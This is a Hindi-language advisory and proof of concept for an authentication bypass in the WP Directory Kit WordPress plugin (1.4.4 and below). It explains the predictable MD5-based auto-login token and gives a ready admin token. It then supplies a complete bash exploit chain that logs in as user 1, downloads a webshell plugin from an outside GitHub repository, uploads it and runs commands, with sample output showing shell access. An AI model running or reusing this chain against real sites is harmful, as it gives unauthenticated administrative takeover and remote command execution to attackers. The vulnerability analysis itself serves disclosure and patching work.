
WP Directory Kit <= 1.4.4 - प्रमाणीकरण बाइपास से विशेषाधिकार वृद्धि तक खाता हथियाने के माध्यम से
वर्डप्रेस के लिए WP Directory Kit प्लगइन संस्करण 1.4.4 और उससे नीचे में ऑटो-लॉगिन कार्यक्षमता में एक प्रमाणीकरण बायपास है। यह कमजोरी अनएथेंटिकेटेड हमलावरों को क्रिप्टोग्राफिक रूप से टूटे हुए टोकन जनरेशन तंत्र का शोषण करके वर्डप्रेस साइटों पर व्यवस्थापकीय पहुंच प्राप्त करने की अनुमति देती है। ऑटो-लॉगिन सुविधा को अक्षम नहीं किया जा सकता है और एक पूर्वानुमानित टोकन का उपयोग करता है जो पूरी तरह से उपयोगकर्ता आईडी के MD5 हैश से प्राप्त होता है।
CVE-2025-13390.sh फ़ाइल एक वेब शेल प्लगइन को लक्ष्य साइट पर अपलोड करती है, यह मानते हुए कि उपयोगकर्ता आईडी 1 एक व्यवस्थापक है।
./CVE-2025-13390.sh
[*] Step 1: Auto-login and save cookies...
[+] Auto-login successful
[*] Step 2: Getting nonce from plugin-install.php...
[+] Install Nonce: a2c0ae384b
[*] Step 3: Downloading plugin from GitHub...
[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)...
[+] Plugin repackaged
[*] Step 5: Uploading plugin...
[+] Plugin installed successfully
[*] Step 6: Testing webshell...
[*] Making request to: http://techcorp.cc/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id
[+] Webshell is accessible!
[+] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleanup complete
WP Directory Kit प्लगइन एक ऑटो-लॉगिन सुविधा लागू करता है जो उपयोगकर्ताओं को क्रेडेंशियल दर्ज किए बिना user_id और token पैरामीटर वाले URL पर जाकर प्रमाणित होने की अनुमति देता है। यह सुविधा पासवर्ड रहित लॉगिन परिदृश्यों के लिए है, जैसे कि जब नए उपयोगकर्ता स्वचालित रूप से बनाए जाते हैं और उन्हें ईमेल के माध्यम से लॉगिन लिंक भेजे जाते हैं।
यह कमजोरी दो फ़ाइलों में स्थित टोकन जनरेशन और सत्यापन तर्क में मौजूद है:
application/helpers/Basic.php:5132-5137):function wdk_generate_auto_login_link( $user_id = null ) {
$token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
$login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
return $login_url;
}
actions.php:116-130):add_action( 'init', function () {
if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
$user_id = (int) $_GET['user_id'];
$token = sanitize_text_field( $_GET['token'] );
if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
wp_set_auth_cookie( $user_id );
wp_redirect( home_url() );
exit;
} else {
wp_die( 'Wrong token.' );
}
}
});
टोकन जनरेशन में एक गंभीर क्रिप्टोग्राफिक दोष है। कोड निम्नलिखित करके एक टोकन बनाने का प्रयास करता है:
md5($user_id) की गणना करना – जो 32-वर्णों का हेक्साडेसिमल स्ट्रिंग उत्पन्न करता हैNONCE_KEY (एक वर्डप्रेस स्थिरांक, आमतौर पर 64 वर्ण) को जोड़ना'wpdirectorykit' को जोड़नाsubstr(..., 0, 10) के साथ पहले 10 वर्ण लेनाचूंकि md5($user_id) 32 वर्ण लंबा है, और फ़ंक्शन केवल पहले 10 वर्ण लेता है, टोकन केवल md5 हैश के पहले 10 वर्ण बन जाता है।
substr(md5($user_id), 0, 10)
उदाहरण के लिए, user_id = 1 के लिए:
md5(1) = "c4ca4238a0b923820dcc509a6f75849b" (32 हेक्स वर्ण)substr(md5(1).NONCE_KEY.'wpdirectorykit', 0, 10) = "c4ca4238a0" (केवल MD5 के पहले 10 वर्ण)NONCE_KEY स्थिरांक, जो क्रिप्टोग्राफिक सुरक्षा प्रदान करने के लिए है, पूरी तरह से अप्रासंगिक है क्योंकि यह MD5 हैश के पहले 10 वर्णों के बाद प्रकट होता है।
नोट: वर्डप्रेस स्थापनाओं में, पहला बनाया गया उपयोगकर्ता (जिसकी user_id = 1 है) लगभग हमेशा एक व्यवस्थापक होता है। अन्य व्यवस्थापक उपयोगकर्ता आईडी को गणना कर प्राप्त किया जा सकता है और आवश्यकता अनुसार उपयोग किया जा सकता है।
ऑटो-लॉगिन कार्यक्षमता प्लगइन की actions.php फ़ाइल में हार्डकोड की गई है और प्लगइन सक्षम होने पर हमेशा सक्रिय रहती है। इस सुविधा को अक्षम करने के लिए कोई कॉन्फ़िगरेशन विकल्प या सेटिंग नहीं है। ऑटो-लॉगिन लिंक ईमेल टेम्पलेट्स में उत्पन्न और भेजे जाते हैं (देखें application/views/email/new_user_auto_created.php:55), लेकिन एंडपॉइंट हमेशा ईमेल सेटिंग्स की परवाह किए बिना सुलभ रहता है।
जब कोई हमलावर एक वैध टोकन के साथ ऑटो-लॉगिन एंडपॉइंट पर अनुरोध भेजता है (जैसे, /?auto-login=1&user_id=1&token=c4ca4238a0), तो actions.php:123 में कमजोर कोड वर्डप्रेस के wp_set_auth_cookie() फ़ंक्शन को कॉल करता है। यह फ़ंक्शन HTTP प्रतिक्रिया में वर्डप्रेस प्रमाणीकरण कुकीज़ सेट करके एक प्रमाणित सत्र स्थापित करता है। इन कुकीज़ में शामिल हैं:
wordpress_logged_in_[hash] - इसमें उपयोगकर्ता आईडी और प्रमाणीकरण जानकारी होती हैwordpress_[hash] - प्रशासनिक क्षेत्र के लिए प्रमाणीकरण कुकी होती हैएक बार ये कुकीज़ सेट हो जाने पर, हमलावर का ब्राउज़र (या स्क्रिप्ट) निर्दिष्ट उपयोगकर्ता के लिए एक प्रमाणित सत्र के रूप में माना जाता है।
इन व्यवस्थापकीय कुकीज़ के साथ, हमलावर दुर्भावनापूर्ण प्लगइन स्थापित कर सकता है, व्यवस्थापक उपयोगकर्ता बना सकता है, और पूरी साइट से समझौता हो जाता है।
निम्नलिखित स्क्रिप्ट एक पूर्ण हमले की श्रृंखला प्रदर्शित करती है जो व्यवस्थापकीय पहुंच प्राप्त करने और एक वेबशेल स्थापित करने के लिए ऑटो-लॉगिन कमजोरी का शोषण करती है:
#!/bin/bash
TARGET="https://examplesite.com"
echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"
echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"
echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip
echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"
echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
-F "_wpnonce=$INSTALL_NONCE" \
-F "pluginzip=@/tmp/webshell.zip" \
-F "install-plugin-submit=Install Now" \
"$TARGET/wp-admin/update.php?action=upload-plugin")
if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
echo "[+] Plugin installed successfully"
else
echo "[-] Installation may have failed. Checking response..."
echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi
echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")
if [ -n "$WEBSHELL_RESPONSE" ]; then
echo "[+] Webshell is accessible!"
echo "[+] Response:"
echo "$WEBSHELL_RESPONSE"
else
echo "[-] Webshell may not be accessible or returned empty response"
fi
# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"